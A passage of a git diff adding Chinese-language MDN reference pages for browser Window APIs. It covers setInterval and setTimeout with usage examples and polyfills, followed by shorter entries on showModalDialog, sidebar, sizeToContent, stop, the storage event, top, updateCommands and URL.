The function that is repeatedly invoked . It is called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is increasing or decreasing). It is something like callback.call(thisObject, index, length, backwards). If the callback function returns a false value the daemon is paused.
+
rate (optional)
+
The time lapse (in number of milliseconds) between each invocation. The default value is 100.
+
length (optional)
+
The total number of invocations. It can be a positive integer or Infinity. The default value is Infinity.
+
+ +

MiniDaemon 实例(instance)的属性

+ +
+
myDaemon.owner
+
The this object on which is executed the daemon (read/write). It can be an object or null.
+
myDaemon.task
+
The function that is repeatedly invoked (read/write). It is called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is decreasing or not) – see above. If the myDaemon.task function returns a false value the daemon is paused.
+
myDaemon.rate
+
The time lapse (in number of milliseconds) between each invocation (read/write).
+
myDaemon.length
+
The total number of invocations. It can be a positive integer or Infinity (read/write).
+
+ +

MiniDaemon 实例的方法

+ +
+
myDaemon.isAtEnd()
+
Returns a boolean expressing whether the daemon is at the start/end position or not.
+
myDaemon.synchronize()
+
Synchronize the timer of a started daemon with the time of its invocation.
+
myDaemon.pause()
+
Pauses the daemon.
+
myDaemon.start([reverse])
+
Starts the daemon forward (index of each invocation increasing) or backwards (index decreasing).
+
+ +

MiniDaemon 全局对象的方法

+ +
+
MiniDaemon.forceCall(minidaemon)
+
Forces a single callback to the minidaemon.task function regardless of the fact that the end has been reached or not. In any case the internal INDEX property is increased/decreased (depending on the actual direction of the process).
+
+ +

使用示例

+ +

HTML:

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="UTF-8" />
+  <title>MiniDaemin Example - MDN</title>
+  <script type="text/javascript" src="minidaemon.js"></script>
+  <style type="text/css">
+    #sample_div {
+      visibility: hidden;
+    }
+  </style>
+</head>
+
+<body>
+  <p>
+    <input type="button" onclick="fadeInOut.start(false /* optional */);" value="fade in" />
+    <input type="button" onclick="fadeInOut.start(true);" value="fade out">
+    <input type="button" onclick="fadeInOut.pause();" value="pause" />
+  </p>
+
+  <div id="sample_div">Some text here</div>
+
+  <script type="text/javascript">
+    function opacity (nIndex, nLength, bBackwards) {
+      this.style.opacity = nIndex / nLength;
+      if (bBackwards ? nIndex === 0 : nIndex === 1) {
+        this.style.visibility = bBackwards ? 'hidden' : 'visible';
+      }
+    }
+
+    var fadeInOut = new MiniDaemon(document.getElementById('sample_div'), opacity, 300, 8);
+  </script>
+</body>
+</html>
+ +

View this example in action

+ +

备注

+ +

The setInterval() function is commonly used to set a delay for functions that are executed again and again, such as animations.

+ +

You can cancel the interval using {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}.

+ +

If you wish to have your function called once after the specified delay, use {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.

+ +

Ensure that execution duration is shorter than interval frequency

+ +

If there is a possibility that your logic could take longer to execute than the interval time, it is recommended that you recursively call a named function using {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}. For example, if using setInterval to poll a remote server every 5 seconds, network latency, an unresponsive server, and a host of other issues could prevent the request from completing in its allotted time. As such, you may find yourself with queued up XHR requests that won't necessarily return in order.

+ +

In these cases, a recursive setTimeout() pattern is preferred:

+ +
(function loop(){
+   setTimeout(function() {
+      // Your logic here
+
+      loop();
+  }, delay);
+})();
+
+ +

In the above snippet, a named function loop() is declared and is immediately executed. loop() is recursively called inside setTimeout() after the logic has completed executing. While this pattern does not guarantee execution on a fixed interval, it does guarantee that the previous interval has completed before recursing.

+ +

Throttling of intervals

+ +

setInterval() is subject to the same throttling restrictions in Firefox as {{domxref("WindowOrWorkerGlobalScope.setTimeout","setTimeout()")}}; see Reasons for delays longer than specified.

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-setinterval', 'WindowOrWorkerGlobalScope.setInterval()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName("HTML WHATWG", "webappapis.html#dom-setinterval", "WindowTimers.setInterval()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/window/settimeout/index.html b/files/zh-cn/web/api/window/settimeout/index.html new file mode 100644 index 0000000000..f9813851f7 --- /dev/null +++ b/files/zh-cn/web/api/window/settimeout/index.html @@ -0,0 +1,476 @@ +--- +title: window.setTimeout +slug: Web/API/Window/setTimeout +tags: + - Timers + - WindowOrWorkerGlobalScope + - WindowTimers + - setTimeout +translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout +--- +

{{APIRef("HTML DOM")}}

+ +

 {{domxref("WindowOrWorkerGlobalScope")}} 混合的 setTimeout()方法设置一个定时器,该定时器在定时器到期后执行一个函数或指定的一段代码。

+ +

语法

+ +
var timeoutID = scope.setTimeout(function[, delay, arg1, arg2, ...]);
+var timeoutID = scope.setTimeout(function[, delay]);
+var timeoutID = scope.setTimeout(code[, delay]);
+ +

参数

+ +
+
function
+
{{jsxref("function")}} 是你想要在到期时间(delay毫秒)之后执行的函数
+
code
+
这是一个可选语法,你可以使用字符串而不是{{jsxref("function")}} ,在delay毫秒之后编译和执行字符串 (使用该语法是不推荐的, 原因和使用 {{jsxref("Global_Objects/eval", "eval()")}}一样,有安全风险)。
+
delay {{optional_inline}}
+
延迟的毫秒数 (一秒等于1000毫秒),函数的调用会在该延迟之后发生。如果省略该参数,delay取默认值0,意味着“马上”执行,或者尽快执行。不管是哪种情况,实际的延迟时间可能会比期待的(delay毫秒数) 值长,原因请查看{{anch("实际延时比设定值更久的原因:最小延迟时间")}}。
+
arg1, ..., argN {{optional_inline}}
+
附加参数,一旦定时器到期,它们会作为参数传递给{{jsxref("function")}} 
+
+ +
+

备注:需要注意的是,IE9 及更早的 IE 浏览器不支持向回调函数传递额外参数(第一种语法)。如果你想要在IE中达到同样的功能,你必须使用一种兼容代码 (查看  {{anch("兼容旧环境(polyfill)")}} 一段).

+
+ +

返回值

+ +

返回值timeoutID是一个正整数,表示定时器的编号。这个值可以传递给{{domxref("WindowOrWorkerGlobalScope.clearTimeout","clearTimeout()")}}来取消该定时器。

+ +

需要注意的是setTimeout()和{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}共用一个编号池,技术上,clearTimeout()和 {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} 可以互换。但是,为了避免混淆,不要混用取消定时函数。

+ +

在同一个对象上(一个window或者worker),setTimeout()或者setInterval()在后续的调用不会重用同一个定时器编号。但是不同的对象使用独立的编号池。

+ +

例子

+ +

下文的例子在网页中设置了两个简单的按钮,以触发 setTimeout() 和 clearTimeout() 方法:按下第一个按钮会设置一个定时器,定时器在 2s 后显示一个警告对话框,并将此次 setTimeout 的定时器 ID 保存起来,按下第二个按钮可以取消定时器。

+ +

HTML

+ +
<p>Live Example</p>
+<button onclick="delayedAlert();">Show an alert box after two seconds</button>
+<p></p>
+<button onclick="clearAlert();">Cancel alert before it happens</button>
+
+ +
+ +
+ +
+ +
+ +

JavaScript

+ +
var timeoutID;
+
+function delayedAlert() {
+  timeoutID = window.setTimeout(slowAlert, 2000);
+}
+
+function slowAlert() {
+  alert('That was really slow!');
+}
+
+function clearAlert() {
+  window.clearTimeout(timeoutID);
+}
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +

结果展示

+ +

{{EmbedLiveSample('例子')}}

+ +

也可参考 clearTimeout() 示例.

+ +

兼容旧环境(polyfill)

+ +

如果你需要向你的回调函数内传递一个或多个参数, 而且还需要兼容那些不支持传递额外参数(不管使用setTimeout() 或者 setInterval())的浏览器时(比如,IE9及更早的版本), 你可以引入下面的兼容代码来支持向定时器函数传参。将以下代码添加到你代码的最上面:

+ +
/*\
+|*|
+|*|  Polyfill which enables the passage of arbitrary arguments to the
+|*|  callback functions of JavaScript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+(function() {
+  setTimeout(function(arg1) {
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeST__ = window.setTimeout;
+    window.setTimeout = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeST__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+
+  var interval = setInterval(function(arg1) {
+    clearInterval(interval);
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeSI__ = window.setInterval;
+    window.setInterval = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeSI__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+}())
+ +

针对IE的解决方法

+ +

如果你需要单独的针对IE9及之前浏览器的 hack 写法,你可以使用 JavaScript 条件注释:

+ +
/*@cc_on
+  // conditional IE < 9 only fix
+  @if (@_jscript_version <= 9)
+  (function(f){
+     window.setTimeout = f(window.setTimeout);
+     window.setInterval = f(window.setInterval);
+  })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}});
+  @end
+@*/
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +

或者使用更加清晰的 IE HTML 条件注释:

+ +
<!--[if lte IE 9]><script>
+(function(f){
+window.setTimeout=f(window.setTimeout);
+window.setInterval=f(window.setInterval);
+})(function(f){return function(c,t){
+var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}
+});
+</script><![endif]-->
+
+
+
+ +
+ +
+ +

变通方法

+ +

另一种方法是使用匿名函数包裹你的回调函数,这种方式要消耗更多资源:

+ +
var intervalID = setTimeout(function() { myFunc('one', 'two', 'three'); }, 1000);
+
+ +
+ +

上面那个例子也可以用箭头函数:

+ +
var intervalID = setTimeout(() => { myFunc('one', 'two', 'three'); }, 1000);
+
+ +

此外,也可使用 function's bind

+ +
setTimeout(function(arg1){}.bind(undefined, 10), 1000);
+
+ +

关于"this"的问题

+ +

当你向 setTimeout() (或者其他函数)传递一个函数时,该函数中的this指向跟你的期望可能不同,这个问题在 JavaScript reference 中进行了详细解释.

+ +

解释

+ +

setTimeout()调用的代码运行在与所在函数完全分离的执行环境上。这会导致,这些代码中包含的 this 关键字在非严格模式会指向 window (或全局)对象,严格模式下为 undefined,这和所期望的this的值是不一样的。

+ +
+

备注:即使是在严格模式下,setTimeout()的回调函数里面的this仍然默认指向window对象, 并不是undefined

+
+ +

查看下面的例子:

+ +
let myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+ +

上面这段代码正常工作,用myArray调用,在函数内,this[sProperty]等于 myArray[sProperty]。然后,下面这个例子:

+ +
setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
+setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1.5 seconds
+ +

myArray.myMethod函数传递给 setTimeout,到了定时时间,this没有指向,默认指向window对象。并且没有方法把 thisArg 传递给setTimeout,正如Array方法的forEachreduce等。下面的例子表示使用call方法设置this也没用。

+ +
setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+ +

可能的解决方案

+ +

一个通用的方法是用包装函数来设置this

+ +
setTimeout(function(){myArray.myMethod()}, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout(function(){myArray.myMethod('1')}, 2500); // prints "one" after 2.5 seconds
+ +

箭头函数也可以:

+ +
setTimeout(() => {myArray.myMethod()}, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout(() => {myArray.myMethod('1')}, 2500); // prints "one" after 2.5 seconds
+ +

另一个解决this问题的方法是使用两个非原生的 setTimeout()setInterval() 全局函数代替原生的。该非原生的函数通过使用Function.prototype.call 方法激活了正确的作用域。下面的代码显示了应该如何替换:

+ +
// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+ +
备注: 这两个替换也让 IE支持了符合 HTML5 标准的定时器函数。所以也能作为一个 polyfills。查看 Callback arguments 一段.
+ +

新特性检测:

+ +
let myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, "Hello world!"); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
+
+ +

针对这个问题并没有原生的解决方案。

+ +
注:JavaScript 1.8.5 引入了 Function.prototype.bind() 方法,该方法允许显式地指定函数调用时 this 所指向的值 。该方法可以帮助你解决 this 指向不确定的问题。
+ +

使用bind()的例子:

+ +
let myArray = ['zero', 'one', 'two'];
+myBoundMethod = (function (sProperty) {
+    console.log(arguments.length > 0 ? this[sProperty] : this);
+}).bind(myArray);
+
+myBoundMethod(); // prints "zero,one,two" because 'this' is bound to myArray in the function
+myBoundMethod(1); // prints "one"
+setTimeout(myBoundMethod, 1000); // still prints "zero,one,two" after 1 second because of the binding
+setTimeout(myBoundMethod, 1500, "1"); // prints "one" after 1.5 seconds
+
+ +

备注

+ +

你可以使用 {{domxref("WindowOrWorkerGlobalScope.clearTimeout()","clearTimeout()")}}来取消定时器。

+ +

如果你希望你的代码被重复的调用 (比如每 N 毫秒一次),考虑使用{{domxref("WindowOrWorkerGlobalScope.setInterval()","setInterval()")}}。

+ +

传递字符串字面量

+ +

setTimeout()传递一个字符串而不是函数会遭受到与使用eval一样的风险.

+ +
// 推荐
+window.setTimeout(function() {
+    alert("Hello World!");
+}, 500);
+
+// 不推荐
+window.setTimeout("alert(\"Hello World!\");", 500);
+
+
+ +

字符串会在全局作用域内被解释执行,所以当setTimeout()函数执行完毕后,字符串中的变量不可用.

+ +

实际延时比设定值更久的原因:最小延迟时间

+ +

有很多因素会导致setTimeout的回调函数执行比设定的预期值更久,本节将讨论最常见的原因。

+ +

最小延时 >=4ms

+ +

在浏览器中,setTimeout()/{{domxref("WindowOrworkerGlobalScope.setInterval","setInterval()")}} 的每调用一次定时器的最小间隔是4ms,这通常是由于函数嵌套导致(嵌套层级达到一定深度),或者是由于已经执行的setInterval的回调函数阻塞导致的。例如:

+ +
function cb() { f(); setTimeout(cb, 0); }
+setTimeout(cb, 0);
+ +
setInterval(f, 0);
+ +

在Chrome 和 Firefox中, 定时器的第5次调用被阻塞了;在Safari是在第6次;Edge是在第3次。Gecko 从这个版本 version 56开始对 setInterval() 开始采用这样的机制(setTimeout()已经实现,具体请参考以下内容)。

+ +

一直以来,不同浏览器中出现这种最小延迟的情况有所不同(例如Firefox) - 从其他地方调用了setInterval( ),或者在嵌套函数调用setTimeout( ) 时(嵌套级别达到特定深度时),都会出现超时延迟。

+ +

如果想在浏览器中实现0ms延时的定时器,你可以参考这里所说的{domxref("window.postMessage()")}}

+ +
+

Note: 最小延时, DOM_MIN_TIMEOUT_VALUE, 是4ms  (但在Firefox中通常是是存储在 dom.min_timeout_value 这个变量中), DOM_CLAMP_TIMEOUT_NESTING_LEVEL 的第5层.

+
+ +
+

Note: 4 ms 是在  HTML5 spec  中精确的,并且在2010年及以后的跨浏览器中保持了一致,这个数值比 {{geckoRelease("5.0")}}规定的嵌套函数的最小延时10ms更为精确。

+
+ +

未被激活的tabs的定时最小延迟>=1000ms

+ +

为了优化后台tab的加载损耗(以及降低耗电量),在未被激活的tab中定时器的最小延时限制为1S(1000ms)。

+ +

Firefox 从version 5 (see {{bug(633421)}}开始采取这种机制,1000ms的间隔值可以通过 dom.min_background_timeout_value 改变。Chrome 从 version 11 (crbug.com/66078)开始采用。

+ +

Android 版的Firefox对未被激活的后台tabs的使用了15min的最小延迟间隔时间 ,并且这些tabs也能完全不被加载。

+ +
+

当 Web Audio API {{domxref("AudioContext")}} 正在被用来播放音频的时候,Firefox 50不会再限制后台tabs的加载。 后续的Firefox 51 版本修正了这个问题,即使在没有音频播放的情况下,也不再限制后台tabs的加载。这个解决了一些软件应用在后台tabs中播放基于文本的音频( note-based) 时,无法去同步音频和画面的问题。

+
+ +

追踪型脚本的最小延时限制

+ +

从Firefox 55版本开始,追踪型脚本(例如 谷歌分析,或者其他的一些被Firefox 的 TP lists 识别为追踪型脚本的 外链URL脚本)是重点限制加载的对象。在当前正在使用的页面中,这个节流限制的延时依然是4ms。但是在后台tabs中,这个最小延时限制是10000ms(10s),这个限制会在文档第一次加载后的30s后生效。

+ +

控制这些行为的属性包含以下这些:

+ + + +

超时延迟

+ +

除了"最小延时"之外,定时器仍然有可能因为当前页面(或者操作系统/浏览器本身)被其他任务占用导致延时。 需要被强调是, 直到调用 setTimeout()的主线程执行完其他任务之后,回调函数和代码段才能被执行。例如:

+ +
function foo() {
+  console.log('foo has been called');
+}
+setTimeout(foo, 0);
+console.log('After setTimeout');
+ +

会在控制台输出:

+ +
After setTimeout
+foo has been called
+ +

出现这个结果的原因是,尽管setTimeout 以0ms的延迟来调用函数,但这个任务已经被放入了队列中并且等待下一次执行;并不是立即执行;队列中的等待函数被调用之前,当前代码必须全部运行完毕,因此这里运行结果并非预想的那样。

+ +

WebExtension Background pages和定时器

+ +

在 WebExtension 中 background pages,timers工作不正常。这主要因为background pages实际上,并不是一次性全部加载:如果浏览器没有使用它,就不加载,如果需要就恢复。这对于WebExtension是透明的,但是有些事件(包括JS的timers)不会在不加载/恢复循环中执行,所以WebExtension中建议使用alarms。更详细的细节在合并到事件驱动后台脚本

+ +

在本文写作的时候,只有Chrome展示了如上的特性 — Firefox没有未加载/恢复循环的行为,所以timers仍然可以工作。但是,仍然建议不要在WebExtension中使用timers:

+ +

1.兼容Chorme。

+ +

2.未来行为的改变会引起问题。

+ +

最大延时值

+ +

包括 IE,  Chrome, Safari, Firefox 在内的浏览器其内部以32位带符号整数存储延时。这就会导致如果一个延时(delay)大于 2147483647 毫秒 (大约24.8 天)时就会溢出,导致定时器将会被立即执行。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-settimeout', 'WindowOrWorkerGlobalScope.setTimeout()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName("HTML WHATWG", "webappapis.html#dom-settimeout", "WindowTimers.setTimeout()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}}

+
+ +

相关链接:

+ + diff --git a/files/zh-cn/web/api/window/showmodaldialog/index.html b/files/zh-cn/web/api/window/showmodaldialog/index.html new file mode 100644 index 0000000000..81c0bb505f --- /dev/null +++ b/files/zh-cn/web/api/window/showmodaldialog/index.html @@ -0,0 +1,80 @@ +--- +title: Window.showModalDialog() +slug: Web/API/Window/showModalDialog +translation_of: Web/API/Window/showModalDialog +--- +
{{ Fx_minversion_header(3) }} {{ deprecated_header() }}{{APIRef}}
+ +

 Window.showModalDialog() 用于创建和展示一个指向特定网页的模态对话框。

+ +

语法

+ +
returnVal = window.showModalDialog(uri[, arguments][, options]);
+
+ +

其中

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SyntaxDescription
center: {on | off | yes | no | 1 | 0 }If this argument's value is on, yes, or 1, the dialog window is centered on the desktop; otherwise it's hidden. The default value is yes.
dialogheight: heightSpecifies the height of the dialog box; by default, the size is specified in pixels.
dialogleft: leftSpecifies the horizontal position of the dialog box in relation to the upper-left corner of the desktop.
dialogwidth: widthSpecifies the width of the dialog box; by default, the size is specified in pixels.
dialogtop: topSpecifies the vertical position of the dialog box in relation to the upper-left corner of the desktop.
resizable: {on | off | yes | no | 1 | 0 }If this argument's value is on, yes, or 1, the dialog window can be resized by the user; otherwise its size is fixed. The default value is no.
scroll: {on | off | yes | no | 1 | 0 }If this argument's value is on, yes, or 1, the dialog window has scroll bars; otherwise its size is fixed. The default value is no.
+ +

{{Note("Firefox does not implement the dialogHide, edge, status, or unadorned arguments.")}}

+ +

Compatibility

+ +

Introduced by Microsoft Internet Explorer 4. Support added to Firefox in Firefox 3 (deprectated in Fx 28), and to Safari in Safari 5.1.

+ +

Examples

+ +

Try out showModalDialog().

+ +

Notes

+ +

showModalDialog() is currently being standardized as part of HTML5. The third argument (for additional options) is not present in the HTML5 version, and is (safely) ignored by both Safari and Chrome.

+ +

Specification

+ + diff --git a/files/zh-cn/web/api/window/sidebar/index.html b/files/zh-cn/web/api/window/sidebar/index.html new file mode 100644 index 0000000000..5557b1f26c --- /dev/null +++ b/files/zh-cn/web/api/window/sidebar/index.html @@ -0,0 +1,40 @@ +--- +title: Window.sidebar +slug: Web/API/Window/sidebar +translation_of: Web/API/Window/sidebar +--- +
+ {{APIRef}} {{SeeCompatTable}}
+

Returns a sidebar object, which contains several methods for registering add-ons with browser.

+

Example

+
window.sidebar.addPanel("Google", "http://www.google.com/", "");
+
+

Note: the third empty parameter is required!

+

Notes

+

The sidebar object returned has the following methods:

+ + + + + + + + + + + + + + + + + + + + + + + +
MethodDescription
addPanel(title, contentURL, customizeURL) {{Obsolete_inline(23)}}Adds a sidebar panel. See Creating a Firefox sidebar for details on sidebars in Firefox 2 and later.
addPersistentPanel(title, contentURL, customizeURL) {{Obsolete_inline(23)}}Adds a sidebar panel, which is able to work in the background. This only works in SeaMonkey or Firefox 1.x; Firefox 2 and later will just do addPanel().
addSearchEngine(engineURL, iconURL, suggestedTitle, suggestedCategory)Installs a search engine. See Adding search engines from web pages for details.
addMicrosummaryGenerator(generatorURL) {{gecko_minversion_inline("1.8.1")}} {{Obsolete_inline(6)}}Installs a microsummary generator.
+

Specification

+

Mozilla-specific. Not part of any standard.

diff --git a/files/zh-cn/web/api/window/sizetocontent/index.html b/files/zh-cn/web/api/window/sizetocontent/index.html new file mode 100644 index 0000000000..19932356f6 --- /dev/null +++ b/files/zh-cn/web/api/window/sizetocontent/index.html @@ -0,0 +1,38 @@ +--- +title: Window.sizeToContent() +slug: Web/API/Window/sizeToContent +translation_of: Web/API/Window/sizeToContent +--- +
{{APIRef}}{{Non-standard_header}}
+ +

The Window.sizeToContent() 方法根据窗口内容调整窗口大小。 为了使其工作,在调用此函数时应加载DOM内容,例如,一旦抛出 {{event("DOMContentLoaded")}} 事件。

+ +

可以强行的调整窗口的最小尺寸。

+ +

语法

+ +
window.sizeToContent()
+
+ +

 例子

+ +
window.sizeToContent();
+
+ +

 规范说明

+ +

此功能不是任何规范的一部分

+ +

浏览器兼容说明

+ +
+ + +

{{Compat("api.Window.sizeToContent")}}

+
+ +

其他链接

+ + diff --git a/files/zh-cn/web/api/window/stop/index.html b/files/zh-cn/web/api/window/stop/index.html new file mode 100644 index 0000000000..dc65485d75 --- /dev/null +++ b/files/zh-cn/web/api/window/stop/index.html @@ -0,0 +1,52 @@ +--- +title: Window.stop() +slug: Web/API/Window/stop +tags: + - API + - DOM + - Window + - 参考 + - 方法 +translation_of: Web/API/Window/stop +--- +
 {{APIRef}}
+ +

window.stop() 方法的效果相当于点击了浏览器的停止按钮。由于脚本的加载顺序,该方法不能阻止已经包含在加载中的文档,但是它能够阻止图片、新窗口、和一些会延迟加载的对象的加载。

+ +

语法

+ +
window.stop()
+
+ +

示例

+ +
window.stop();
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','browsers.html#dom-window-stop','Window.stop()')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', 'browsers.html#dom-window-stop', 'Window.stop')}}{{Spec2('HTML5 W3C')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.stop")}}

diff --git a/files/zh-cn/web/api/window/storage_event/index.html b/files/zh-cn/web/api/window/storage_event/index.html new file mode 100644 index 0000000000..81d66d57bc --- /dev/null +++ b/files/zh-cn/web/api/window/storage_event/index.html @@ -0,0 +1,85 @@ +--- +title: storage +slug: Web/API/Window/storage_event +tags: + - Web Storage + - 事件 +translation_of: Web/API/Window/storage_event +--- +

当存储区域(localStorage 或 sessionStorage)被修改时,将触发 storage 事件。查看 Web Storage API 来获取更多信息。

+ +

常规信息

+ +
+
说明
+
Web Storage
+
接口
+
{{domxref("StorageEvent")}}
+
是否冒泡
+
No
+
默认行为可取消
+
No
+
目标
+
DefaultView (<window>)
+
默认行为
+
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}事件目标(DOM 树中的最大目标)
type {{readonlyInline}}{{domxref("DOMString")}}事件的类型
bubbles {{readonlyInline}}{{jsxref("Boolean")}}事件通常是否会出现冒泡
cancelable {{readonlyInline}}{{jsxref("Boolean")}}事件是否可取消
key {{readonlyInline}}{{domxref("DOMString")}} (string)键更改时
oldValue {{readonlyInline}}{{domxref("DOMString")}} (string)正在更改键的旧值
newValue {{readonlyInline}}{{domxref("DOMString")}} (string)正在更改键的新值
url {{readonlyInline}}{{domxref("DOMString")}} (string)键更改的文档的地址
storageArea {{readonlyInline}}{{domxref("Storage")}}受影响的存储对象
diff --git a/files/zh-cn/web/api/window/top/index.html b/files/zh-cn/web/api/window/top/index.html new file mode 100644 index 0000000000..d2142ec21e --- /dev/null +++ b/files/zh-cn/web/api/window/top/index.html @@ -0,0 +1,55 @@ +--- +title: Window.top +slug: Web/API/Window/top +tags: + - API + - HTML DOM + - Property + - Reference + - Window +translation_of: Web/API/Window/top +--- +

{{APIRef}}

+ +

返回窗口层级最顶层窗口的引用。

+ +

语法

+ +
var topWindow = window.top;
+
+ +

备注

+ +

 window.parent 返回当前窗口的直接父对象,而 {{domxref("window.top")}} 返回最顶层的窗口对象。

+ +

 

+ +

当你在处理父窗口的子框架(subframe),而你想获取顶层框架时,这个属性相当有用。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'browsers.html#dom-top', 'window.top')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'browsers.html#dom-top', 'window.top')}}{{Spec2('HTML5 W3C')}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.Window.top")}}

diff --git a/files/zh-cn/web/api/window/updatecommands/index.html b/files/zh-cn/web/api/window/updatecommands/index.html new file mode 100644 index 0000000000..29eaef7dbf --- /dev/null +++ b/files/zh-cn/web/api/window/updatecommands/index.html @@ -0,0 +1,37 @@ +--- +title: Window.updateCommands() +slug: Web/API/Window/updateCommands +tags: + - chrome窗口(UI)的命令状态。 +translation_of: Web/API/Window/updateCommands +--- +

{{ ApiRef() }}{{Non-standard_header}}

+ +

概要

+ +

更新当前chrome窗口(UI)的命令状态。

+ +

语法

+ +
window.updateCommands("sCommandName")
+
+ +

 参数

+ + + +

记录

+ +

这将启用或禁用项目(根据需要在命令节点上设置或清除“disabled”属性),或通过在XUL命令节点的“state”属性中设置当前状态信息来确保命令状态反映选择的状态。

+ +

规范

+ +

DOM 0 级。不属于规范。

+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.updateCommands")}}

diff --git a/files/zh-cn/web/api/window/url/index.html b/files/zh-cn/web/api/window/url/index.html new file mode 100644 index 0000000000..6bf90043c3 --- /dev/null +++ b/files/zh-cn/web/api/window/url/index.html @@ -0,0 +1,104 @@ +--- +title: Window.URL +slug: Web/API/Window/URL +tags: + - Window.URL +translation_of: Web/API/URL +--- +

{{ApiRef("Window")}}{{SeeCompatTable}}

+ +

Window.URL 属性返回一个对象,它提供了用于创建和管理对象URLs的静态方法。它也可以作为一个构造函数被调用来构造 {{domxref("URL")}} 对象。

+ +
+

Note: 此功能在Web Workers中可用。

+
+ +

语法

+ +

调用一个静态方法:

+ +
img.src = URL.{{domxref("URL.createObjectURL", "createObjectURL")}}(blob);
+ +

构造一个新对象:

+ +
var url = new {{domxref("URL.URL", "URL")}}("../cats/", "https://www.example.com/dogs/");
+ +

规范

